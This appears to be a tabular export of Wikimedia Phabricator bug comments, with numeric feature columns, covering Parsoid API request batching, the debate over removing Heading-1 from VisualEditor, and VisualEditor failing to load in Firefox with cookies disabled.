+Speeding up individual API requests is a general architectural goal, and should be addressed in that context. Closing this bug as WONTFIX on our end.",,,1370996729,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,2,True,,,-3,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+227099,Batch Parsoid's API requests,"Adding custom batching support just for template expansion and extension tag calls would really be a workaround, and would add complexity to both clients and the server. If the performance of API requests could be improved in general, we could and should probably avoid that complex workaround in favor of the general solution.
+
+In the longer term, our HTML storage and incremental re-parsing / expansion plans should reduce the number of template expansions and extension calls to a fraction of the level we'll produce initially. The round-trip testing we are currently performing is already close to the edit rate of the English Wikipedia and did not create any issues on the API cluster. A Parsoid installation tracking all edits on all wikis would probably create 2-3 times the number of API requests, which are probably still doable for the current API cluster.
+
+Overall it seems to be a good idea to hold off on a custom batching solution until it is clear that it is really needed and general API performance improvements are not possible.",,,1361472978,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,1,True,,,-19,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,0,1,1,0,1,0,0,1,1,0,1,0,0,0,1,0,1,1,1,0,0,1,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+227095,Batch Parsoid's API requests,"For us, the main use cases are template expansion using the PHP preprocessor and the expansion of extension tags. Currently, both of these are only available with a detour through the PHP parser (action=expandtemplates and action=parse respectively), so we'd like to add direct API end points to perform these actions.
+
+A general batching mechanism would probably accept a posted JSON array with each member being an object containing the API arguments for one action (action etc). The return value would be a JSON array with results corresponding to the request array. Instead of relying on positions in an array the client could also supply UIDs for requests which are then mirrored in the result. This could be achieved with an reqid member in each request object.
+
+The problem with general batching is that state in MediaWiki is not very well defined. Several extensions for example keep internal state between calls to tag hooks, and resetting that state between individual requests in a batch would probably produce a similar overhead as the regular per-request setup (30+ms).
+
+In Parsoid, we can work around this issue for our specific use cases by maintaining a whitelist of stateless extensions which can be mixed in a batch without producing non-deterministic output. Non-whitelisted extensions would need to be expanded in a single action=parse request containing all extension tags for that particular extension in page order.",,,1359928307,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,1,True,,,-22,,1,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+227091,Batch Parsoid's API requests,"action=query was built specifically to support batching, but other actions might choose not to implement it. Could you give a very specific example of
+* How the final api request should look like?
+* What do you expect in return.",,,1359927005,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,1,False,,,-22,,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,0,0,0,0,0
+45334,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?","From user suggestion:
+
+| Heading 1 is very rare on enwiki, and indeed on most other installations.
+| Where it is used (mostly on project discussion pages), it does not usually
+| need to be edited. VisualEditor should not offer it.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1356129180,1372274701.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-whtfrzztibmjwea3vy7l,task_description,resolved,True,c1,1,True,False,True,-28,,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,1,0
+195676,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?",This is now merged and will go out later today.,,,1372274701,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+195668,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?",Related URL: https://gerrit.wikimedia.org/r/69801 (Gerrit Change I5a58b4dcebd6ceae0ffcd24f663429f25bdc3db9),,,1371765581,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+195663,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?",Related URL: https://gerrit.wikimedia.org/r/69801 (Gerrit Change I5a58b4dcebd6ceae0ffcd24f663429f25bdc3db9),,,1371765577,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+195660,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?","I believe that the current list of titles  will quickly be a problem if VE is rolled out to unexperienced users on wikipedia: they will probably use Heading 1 because they don't know it shouldn't be used in 99.9...% of edits.
+When I tried to add a section, I used Heading 1 by default and only changed back to Heading 2 when I saw that the new title was bigger than what I'm used to.
+
+If you think <h1> titles should be kept in VE, it should be separated from the other titles (after other ones). Eventually, would it be possible to make that configurable on a per wiki basis if some wiki really use <h1> as a normal title ?",,,1371736146,,PHID-USER-o34e5i3eq4nstbvcf26w,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,2,False,,,-2,,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,0,0,1,1,0,1,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,1,0,1
+195656,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?","> Lots of wikis (e.g.meta) use H1s quite liberally.
+
+I didn't know that, and it seems bad practice. Could you point to some examples? Maybe there is a use case I'm completely overlooking.
+
+
+> | H1: Title
+> | H2: Heading
+> | H3: Sub-heading
+> | H4: Sub-heading
+> | H5: Sub-heading
+> | H6: Sub-heading
+
+I'm not so happy about the name ""Title"", and it being at the top of that list. I would much rather see it buried somewhere at the bottom, maybe as the very last option, and something like ""Duplicate page title"", or at least something that makes it abundantly clear that it is not something that is meant to be used.",,,1371622689,,PHID-USER-n27daagbl3wqf3ghr4nk,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,2,False,,,-2,,1,1,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1
+195653,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?","AzaToth's suggestion is to label as follows:
+
+| H1: Title
+| H2: Heading
+| H3: Sub-heading
+| H4: Sub-heading
+| H5: Sub-heading
+| H6: Sub-heading
+
+The differentiation between H3 - H6 would be only styling. Not sure how I feel about this, but it's certainly ""correct"".",,,1371598971,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+195648,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?","(In reply to comment #12)
+> Kill the H1s from the editor please. They should really be considered
+> deprecated in the wiki syntax, and aren't something that people should be
+> able to create by accident.
+
+VE is meant to be able to edit all content that's valid. Lots of wikis (e.g. meta) use H1s quite liberally. Discouraging use is fine, but preventing use feels wrong. (Also, what the hell should VE do when it encounters an H1 in the wild, if they were 'disabled'?)",,,1371598575,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,2,True,,,-2,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+195645,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?","Kill the H1s from the editor please. They should really be considered deprecated in the wiki syntax, and aren't something that people should be able to create by accident.",,,1371598260,,PHID-USER-yek7ymogrv4qc67oilhf,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,2,False,,,-2,,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+195640,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?","(In reply to comment #10)
+> Instead of messing around with the numbers and having [heading 3 = <h4>], why
+> not rename them ""Heading"", ""Subheading"", and ""Sub-subheading"".
+
+So:
+
+| H1: Title
+| H2: Heading
+| H3: Sub-heading
+| H4: Sub-sub-heading
+| H5: Sub-sub-sub-heading
+| H6: Sub-sub-sub-sub-heading
+
+It might get a bit ridiculous, but I like the idea.",,,1371160524,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+195638,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?","**ypnypn9** wrote:
+
+(In reply to comment #9)
+> It is unfortunate that wikitext currently allows h1 elements. It shouldn't.
+> It should be the end aim for the visual editor to have feature parity with
+> wikitext, but at the current point it makes it natural to select a heading 1
+> when you really never want to do that. I would prefer to see it not available
+> in the visual editor at all, but as a compromise, I could live with renaming
+> Header 1 to Pageheader, and move it all the way to the bottom of markup
+> elements, and rename header 2 to header 1, etc. That way we don't lose an
+> option in the visual editor that is available in wikitext, and at the same
+> time reduce the chance of people thinking it is an option they may want to
+> choose for a header, which it is not.
+
+Instead of messing around with the numbers and having [heading 3 = <h4>], why not rename them ""Heading"", ""Subheading"", and ""Sub-subheading"".",,,1371160398,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,2,False,,,-3,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,1,1,0,1,0,0,1,0,1,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+195633,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?","It is unfortunate that wikitext currently allows h1 elements. It shouldn't. It should be the end aim for the visual editor to have feature parity with wikitext, but at the current point it makes it natural to select a heading 1 when you really never want to do that. I would prefer to see it not available in the visual editor at all, but as a compromise, I could live with renaming Header 1 to Pageheader, and move it all the way to the bottom of markup elements, and rename header 2 to header 1, etc. That way we don't lose an option in the visual editor that is available in wikitext, and at the same time reduce the chance of people thinking it is an option they may want to choose for a header, which it is not.
+
+At the same time, we may want to think about abandoning the option to make h1 headers in wikitext too, but that makes for a different discussion which should take place in a different place than this bug.",,,1370004773,,PHID-USER-n27daagbl3wqf3ghr4nk,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,1,False,,,-5,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,1,1,0,1,0,0,1,0,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+195627,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?","Does this really have much to do with the VE to begin with ? It's already allowed. I agree that such is a bad thing but that's a separate story. I guess at most, we could make the H1 option 'non visisble' unless the current element already is exactly of that type.
+
+What would be nice, was if the VE would have more 'guided' heading building. It could warn you about inconsistencies in header levels for instance.",,,1370000141,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,1,True,,,-5,,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,0
+195621,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?",*** Bug 48955 has been marked as a duplicate of this bug. ***,,,1369927169,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,1,True,,,-5,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+195616,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?","**rogerchrisman** wrote:
+
+(In reply to comment #5)
+> (In reply to comment #4)
+> > Agree--Visual Editor should not use <h1> HTML tags for headings at all
+> > because
+> > MediaWiki uses <h1> HTML for page name and headings are subordinate to page
+> > name. Heading-1 should create <h2> HTML tags, Heading-2 <h3> HTML tags,
+> > Heading-3 <h4> HTML tags, etc. Newcomers don't know this. Visual Editor
+> > should
+> > simply do this correctly without editors needing to know or think about it at
+> > all. Offering <h1> HTML in Visual Editor will cause confusion and misuse
+> > among
+> > the very people Visual Editor is designed to empower. They just want it to
+> > work
+> > right.
+> 
+> Except ""Heading 1"" is actually create-able on any wiki page (""= Foo =""), it's
+> just discouraged. This is a tension between what the software /lets/ users do
+> and what they /should/ do. I'm not convince that hard and fast global rules
+> are
+> always appropriate.
+
+This is not about convincing anyone ""that hard and fast global rules are
+always appropriate."" This is about getting it right for MediaWiki and MediaWiki users. Having ""Heading-1"" create wrong first level headings is wrong because orrect first level headings are <h2> in MediaWiki, subordinate to the page name <h1> that _is_ 'hard and fast' coded into the wiki page generator because that works well, always has, and is correct HTML. Users should not need to think about HTML at all. VisualEditor should just work right, not wrong. I know = Foo = gives <h1>Foo</h1>. That is an unfortunate wiki markup parser bug. If the VisualEditor team is too week to fix this bug by removing <h1> from the editor, they may implement ""Header-0 _deprecated_"" as <h1> (and link ""_deprecated_"" to a mediawiki.org page explaining why it is deprecated and why nevertheless included in VisualEditor). That is the obvious easy way out. However, VisualEditor has no need nor obligation to implement the deprecated and seldom used = Foo =. So remove it now and save everyone the mind drain of ""Header-0 _deprecated_"". VisualEditor is NOT an HTML editor. It is a MediaWiki page editor.",,,1366174196,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,1,False,,,-11,,1,1,1,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,0,1,1,0,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+195613,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?","(In reply to comment #4)
+> Agree--Visual Editor should not use <h1> HTML tags for headings at all
+> because
+> MediaWiki uses <h1> HTML for page name and headings are subordinate to page
+> name. Heading-1 should create <h2> HTML tags, Heading-2 <h3> HTML tags,
+> Heading-3 <h4> HTML tags, etc. Newcomers don't know this. Visual Editor
+> should
+> simply do this correctly without editors needing to know or think about it at
+> all. Offering <h1> HTML in Visual Editor will cause confusion and misuse
+> among
+> the very people Visual Editor is designed to empower. They just want it to
+> work
+> right.
+
+Except ""Heading 1"" is actually create-able on any wiki page (""= Foo =""), it's just discouraged. This is a tension between what the software /lets/ users do and what they /should/ do. I'm not convince that hard and fast global rules are always appropriate.",,,1366153968,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,1,True,,,-11,,1,0,1,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+195609,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?","**rogerchrisman** wrote:
+
+Agree--Visual Editor should not use <h1> HTML tags for headings at all because MediaWiki uses <h1> HTML for page name and headings are subordinate to page name. Heading-1 should create <h2> HTML tags, Heading-2 <h3> HTML tags, Heading-3 <h4> HTML tags, etc. Newcomers don't know this. Visual Editor should simply do this correctly without editors needing to know or think about it at all. Offering <h1> HTML in Visual Editor will cause confusion and misuse among the very people Visual Editor is designed to empower. They just want it to work right.",,,1366006598,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,1,False,,,-11,,1,0,1,1,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+195604,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?","**rogerchrisman** wrote:
+
+Agree--Visual Editor should not use <h1> HTML tags for headings at all because MediaWiki uses <h1> HTML for page name and headings are subordinate to page name. Heading-1 should create <h2> HTML tags, Heading-2 <h3> HTML tags, Heading-3 <h4> HTML tags, etc. Newcomers don't know this. Visual Editor should simply do this correctly without editors needing to know or think about it at all. Offering <h1> HTML in Visual Editor will cause confusion and misuse among the very people Visual Editor is designed to empower. They just wont it to work right.",,,1366006439,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,1,False,,,-11,,1,0,1,1,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+195599,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?",May want to cover content namespaces in general (but provide some way of getting them). Also to consider preventing H6s (and H5s?).,,,1360376924,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,1,True,,,-21,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,1,1,0,0,0
+195595,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?",*** Bug 44780 has been marked as a duplicate of this bug. ***,,,1360376842,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,1,True,,,-21,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+45193,VisualEditor: Firefox has issues using VE when cookies are disabled,"**Author:** `turb`
+
+**Description:**
+When cookies are disabled, VisualEditor loads indef. It would better to either 1) be able to use it without cookies (I suppose that's not possible) or 2) display an adequate error message.
+
+Tested on Firefox 17.0.1 with Cookie Monster 1.1.0.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Low,25.0,1355742780,1380306435.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-zborcq5aeddm5rc2upgl,task_description,resolved,True,c1,1,False,False,True,-28,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,1
+187356,VisualEditor: Firefox has issues using VE when cookies are disabled,"**turb** wrote:
+
+(In reply to comment #7)
+> Afaik the bad token handling has been solved for the save process. The load
+> process no longer requires a token.
+> 
+> Can you confirm this now works fine?
+
+Yes, it does work fine now, even with Cookie Monster preventing cookies to be set.",,,1380306403,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zborcq5aeddm5rc2upgl,task_subcomment,,True,c1,3,False,,,12,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,1
+187350,VisualEditor: Firefox has issues using VE when cookies are disabled,"Afaik the bad token handling has been solved for the save process. The load process no longer requires a token.
+
+Can you confirm this now works fine?",,,1380304934,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-zborcq5aeddm5rc2upgl,task_subcomment,,True,c1,3,True,,,12,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+187343,VisualEditor: Firefox has issues using VE when cookies are disabled,"**turb** wrote:
+
+(In reply to comment #5)
+> Does normal editing (through the old, non-visual editor) work for you on
+> mediawiki.org when not whitelisted?
+
+Yes, it works.",,,1357831603,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zborcq5aeddm5rc2upgl,task_subcomment,,True,c1,1,False,,,-25,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,1
+187340,VisualEditor: Firefox has issues using VE when cookies are disabled,"(In reply to comment #3)
+> (In reply to comment #2)
+> > (In reply to comment #1)
+> > > Can you confirm whether VE always fails to load with Cookie Monster and
+> > > always
+> > > loads successfully without Cookie Monster?
+> > And could you also confirm that you're able to edit *as a logged-in user*
+> > using
+> > the regular non-visual editor?
+> 
+> I forgot to mention I was testing on VisualEditor:Test in mediawiki.org, that
+> was not whitelisted in Cookie Monster. When I did whitelisted it, the page
+> reloaded and VE was now working.
+> 
+> I just removed again mediawiki.org from whitelist, and VE now loads without
+> end.
+> 
+Does normal editing (through the old, non-visual editor) work for you on mediawiki.org when not whitelisted?",,,1357671274,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-zborcq5aeddm5rc2upgl,task_subcomment,,True,c1,1,False,,,-25,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+187338,VisualEditor: Firefox has issues using VE when cookies are disabled,"**turb** wrote:
+
+Note: after some tests, VE does work with Chrome and IE9, with totally disabled cookies.",,,1355821721,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zborcq5aeddm5rc2upgl,task_subcomment,,True,c1,1,False,,,-28,,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+187336,VisualEditor: Firefox has issues using VE when cookies are disabled,"**turb** wrote:
+
+(In reply to comment #2)
+> (In reply to comment #1)
+> > Can you confirm whether VE always fails to load with Cookie Monster and
+> > always
+> > loads successfully without Cookie Monster?
+> And could you also confirm that you're able to edit *as a logged-in user*
+> using
+> the regular non-visual editor?
+
+I forgot to mention I was testing on VisualEditor:Test in mediawiki.org, that was not whitelisted in Cookie Monster. When I did whitelisted it, the page reloaded and VE was now working.
+
+I just removed again mediawiki.org from whitelist, and VE now loads without end.
+
